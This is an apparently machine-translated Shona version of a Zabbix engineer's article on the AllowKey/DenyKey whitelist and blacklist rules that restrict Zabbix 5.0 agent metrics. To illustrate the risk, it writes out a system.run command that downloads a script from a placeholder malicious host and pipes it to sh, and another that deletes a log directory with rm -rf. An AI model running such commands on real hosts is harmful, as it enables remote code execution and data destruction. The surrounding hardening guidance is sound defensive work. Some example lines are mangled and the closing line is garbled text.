Blacklist uye whitelist rutsigiro rweagent-side metrics
Tikhon Uskov, Integration Engineer, Zabbix
Data kuchengetedza nyaya
Zabbix 5.0 ine chinhu chitsva chinokutendera kuti uvandudze chengetedzo mumasisitimu uchishandisa Zabbix Agent uye inotsiva yekare parameter. EnableRemoteCommands.
Kuvandudzwa kwekuchengetedzwa kweagent-based systems kunobva pakuti mumiririri anogona kuita nhamba huru yezviito zvinogona kuva nengozi.
- Mumiririri anogona kuunganidza chero ruzivo, kusanganisira zvakavanzika kana ruzivo rwungangove nengozi, kubva kumafaira ekumisikidza, faira regi, mafaera epassword, kana chero mamwe mafaera.
Semuenzaniso, uchishandisa zabbix_get utility unogona kuwana runyoro rwevashandisi, madhairekitori epamba, mafaera epassword, nezvimwe.
Kuwana data uchishandisa zabbix_get utility
ONA. Dhata inogona kudzoserwa chete kana mumiriri averenga mvumo pafaira rinoenderana. Asi, semuenzaniso, iyo faira /etc/passwd/ inoverengwa nevashandisi vese.
- Mumiririri anogona zvakare kuita mirairo ine njodzi. Semuenzaniso, kiyi *system.run[]** inokutendera kuti uite chero mirairo iri kure panetiweki node, kusanganisira kuita zvinyorwa kubva kuZabbix web interface iyo zvakare inoita mirairo kudivi remumiririri.
# zabbix_get -s my.prod.host -k system.run["wget http://malicious_source -O- | sh"]
# zabbix_get -s my.prod.host -k system.run["rm -rf /var/log/applog/"]
- PaLinux, mumiriri anomhanya nekusarudzika pasina midzi ropafadzo, nepo paWindows inomhanya sevhisi seSystem uye ine isina kurambidzwa kupinda kune iyo faira system. Saizvozvo, kana pasina shanduko inoitwa kuZabbix Agent paramita mushure mekuiswa, mumiriri anogona kuwana registry, faira system uye anogona kuita mibvunzo yeWMI.
Mushanduro dzekutanga parameter EnableRemoteCommands=0 inobvumirwa chete kudzima metric nekiyi *system.run[]** uye kushandisa zvinyorwa kubva pawebhu interface, asi pakanga pasina nzira yekurambidza kupinda kune ega mafaera, bvumidza kana kudzima makiyi ega ega aive akaiswa nemumiririri, kana kudzikamisa kushandiswa kweumwe neumwe paramita.
Uchishandisa iyo EnableRemoteCommand parameter mune zvekare mavhezheni eZabbix
BvumiraKey/DenyKey
Zabbix 5.0 inobatsira kudzivirira kubva pakuwanikwa kusingatenderwe kwakadaro nekupa whitelists uye blacklists yekubvumira uye kuramba metrics kudivi remumiririri.
MuZabbix 5.0 makiyi ese, kusanganisira *system.run[]** inogoneswa, uye maviri matsva ekugadzirisa agent akawedzerwa:
AllowKey= - macheki anobvumirwa;
DenyKey= - cheki dzakarambidzwa;
iripi patani yezita rekiyi ine paramita inoshandisa metacharacters (*).
Makiyi eAllowKey neDenyKey anobvumidza iwe kubvumidza kana kuramba metrics ega ega zvichienderana neyakasiyana pateni. Kusiyana nemamwe maparamita ekugadzirisa, nhamba yeAllowKey/DenyKey parameter haina kuganhurirwa. Izvi zvinokutendera kuti utsanangure zvakajeka izvo chaizvo izvo mumiririri anogona kuita muhurongwa nekugadzira muti wekutarisa - makiyi eexecutable, uko kurongeka kwavanonyorwa kunoita basa rakakosha.
Kutevedzana kwemitemo
Mitemo inotariswa muhurongwa hwavanopinzwa nayo mufaira rekugadzirisa. Kiyi inotariswa maererano nemitemo isati yatanga mutambo, uye nekukurumidza kana kiyi ye data data ichienderana nemuenzaniso, inobvumirwa kana kurambwa. Mushure meizvi, kutonga kwekutarisa kunomira uye makiyi akasara anofuratirwa.
Naizvozvo, kana chinhu chichienderana nemvumo uye mutemo wekuramba, mhedzisiro ichaenderana nekuti ndeupi mutemo unotanga mufaira rekugadzirisa.
Mitemo miviri yakasiyana ine patani imwechete uye kiyi vfs.file.size[/tmp/file]
Kurongeka kwekushandisa makiyi AllowKey/DenyKey:
- mitemo chaiyo,
- general mitemo,
- mutemo unorambidza.
Semuenzaniso, kana iwe uchida kuwana mafaera mune imwe dhairekitori, unofanira kutanga wabvumira kupinda kwazviri, wobva waramba zvimwe zvese zvisingawire mukati memvumo dzakatarwa. Kana mutemo wekuramba ukatanga kushandiswa, kupinda kune folda kunorambwa.
Kutevedzana kwakarurama
Kana iwe uchida kubvumira 2 zvishandiso kuti zvifambe kuburikidza ne *system.run[]**, uye mutemo wekuramba uchatsanangurwa kutanga, zvishandiso hazvizotangwa, nekuti yekutanga pateni inogara ichienderana chero kiyi, uye inotevera mitemo icharegererwa.
Kutevedzana kusina kururama
Mapatani
Mitemo inokosha
Patani ishoko rine makadhi emusango. Metacharacter (*) inofanana nenhamba chero ipi zvayo yemavara pane imwe nzvimbo. Mametacharacter anogona kushandiswa zvese muzita rakakosha uye mumaparamita. Semuenzaniso, unogona kunyatso kutsanangura yekutanga parameter ine mavara, uye tsanangura inotevera sewildcard.
Maparamita anofanirwa kuvharirwa mumabhuraketi akaenzana [].
system.run[*
- zvisizvovfs.file*.txt]
- zvisizvovfs.file.*[*]
- rudyi
Mienzaniso yekushandisa wildcard.
- Muzita rakakosha uye muparameter. Muchiitiko ichi, kiyi haienderane nekiyi yakafanana iyo isina parameter, sezvo mumuenzaniso takaratidza kuti tinoda kugashira imwe mhedziso yezita rinokosha uye imwe seti yeparameter.
- Kana iyo pateni isingashandisi masikweya mabhuraketi, iyo pateni inobvumira makiyi ese asina ma parameter uye anoramba makiyi ese ane parameter yakatarwa.
- Kana kiyi yakanyorwa zvizere uye maparamendi akatsanangurwa sewildcard, ichaenderana nekiyi yakafanana nechero parameter uye haizofananidze kiyi isina mabhuraketi emativi, i.e. ichabvumidzwa kana kurambwa.
Mitemo yekuzadza ma parameters.
- Kana kiyi ine parameter inotarisirwa kushandiswa, iyo parameter inofanirwa kutsanangurwa mufaira rekugadzirisa. Maparamita anofanirwa kutsanangurwa semetacharacter. Izvo zvinodikanwa kuti unyatsoramba kuwana chero faira uye funga kuti ndeupi ruzivo rwunogona kupa metric pasi pezviperengo zvakasiyana - zvine uye pasina paramita.
Zvimiro zvekunyora makiyi ane parameters
- Kana kiyi ichitsanangurwa ine parameter, asi iyo parameter ine sarudzo uye inotsanangurwa semetacharacter, kiyi isina parameter inogadziriswa. Semuenzaniso, kana iwe uchida kudzima ruzivo rwekugamuchira nezve mutoro paCPU uye tsanangura kuti system.cpu.load[*] kiyi inofanira kuvharwa, usakanganwa kuti kiyi isina ma parameter ichadzosa avhareji yekuremerwa kukosha.
Mitemo yekuzadza ma parameters
Zvinyorwa
kuchinja
- Mimwe mitemo haigoni kuchinjwa nemushandisi, semuenzaniso, mitemo yekuwana kana agent auto-registration mitemo. BvumiraKey/DenyKey mitemo haikanganisi zvinotevera paramita:
-HostnameItem
- HostMetadataItem
- HostInterfaceItem
ONA. Kana maneja akadzima kiyi, kana yabvunzwa, Zabbix haipe ruzivo rwekuti sei metric kana kiyi ichiwira muchikamu che 'HAKUNA KUTSIGWA'. Ruzivo nezve zvinorambidzwa pakuita mirairo iri kure hainawo kuratidzwa mumafaira emumiririri. Izvi ndezvezvikonzero zvekuchengetedza, asi zvinogona kunetsa kugadzirisa kana metrics ikawira muchikamu chisina kutsigirwa nekuda kwechimwe chikonzero..
- Iwe haufanirwe kuvimba nechero hurongwa hwekubatanidza mafaera ekunze ekugadzirisa (semuenzaniso, mune alfabheti).
Command Line Utilities
Mushure mekugadzirisa mitemo, unofanirwa kuve nechokwadi chokuti zvinhu zvose zvakagadzirirwa zvakanaka.
Iwe unogona kushandisa imwe yezvitatu zvingasarudzwa:
- Wedzera metric kuZabbix.
- Edzai ne zabbix_agentd. Zabbix mumiririri ane sarudzo -dhinda (-p) inoratidza makiyi ese (ayo anotenderwa nekusarudzika) kunze kweaya asingabvumidzwe nekugadzirisa. Uye nesarudzo -test (-t) nekuti kiyi yakarambidzwa ichadzoka 'kiyi yechinhu isingatsigirwe'.
- Edzai ne zabbix_get. Utility zabbix_get nesarudzo -k ndichadzoka'ZBX_NOTSUPPORTED: Metric isingazivikanwe'.
Bvumira kana kuramba
Iwe unogona kuramba kuwana faira uye simbisa, semuenzaniso, uchishandisa utility zabbix_getkuti kupinda mufaira kunorambwa.
**
ONA. Makotesheni muparameter haana hanya.
Muchiitiko ichi, kuwana faira yakadaro kunogona kubvumirwa kuburikidza neimwe nzira. Semuenzaniso, kana symlink ichitungamira kwairi.
Zvinokurudzirwa kutarisa sarudzo dzakasiyana dzekushandisa iyo yakatarwa mitemo, uye zvakare funga nezvemikana yekunzvenga zvinorambidzwa.
Mibvunzo neMhinduro
Mubvunzo wako. Sei chimiro chakaoma kudaro nemutauro waro chakasarudzwa kutsanangura mitemo, mvumo uye zvirambidzo? Sei zvakange zvisingaite kushandisa, semuenzaniso, matauriro anogara achishandiswa naZabbix?
Reply. Iyi inyaya ye regex yekuita sezvo pachiwanzo kungoita mumiriri mumwechete uye inotarisa huwandu hukuru hwemetrics. Regex ibasa rinorema uye hatigone kutarisa zviuru zvemetrics nenzira iyi. Wildcards - yepasi rose, inoshandiswa zvakanyanya uye iri nyore mhinduro.
Mubvunzo wako. Mafaira eIncludes haasanganisirwe muhurongwa hwearufabheti here?
Reply. Sekuziva kwangu, hazvibviri kufanotaura kurongeka kwemitemo ichashandiswa kana iwe ukaparadzira mitemo pamafaira akasiyana. Ini ndinokurudzira kuunganidza ese AllowKey / DenyKey mitemo mune imwe Inosanganisira faira, nekuti ivo vanodyidzana, uye kusanganisira iyi faira..
Mubvunzo wako. MuZabbix 5.0 iyo sarudzo 'EnableRemoteCommands=' inoshaikwa kubva pafaira rekugadzirisa, uye chete AllowKey/DenyKey iripo?
Pindura. Hongu ndizvozvo.
Π‘ΠΏΠ°ΡΠΈΠ±ΠΎ Π·Π° Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅!
Source: www.habr.com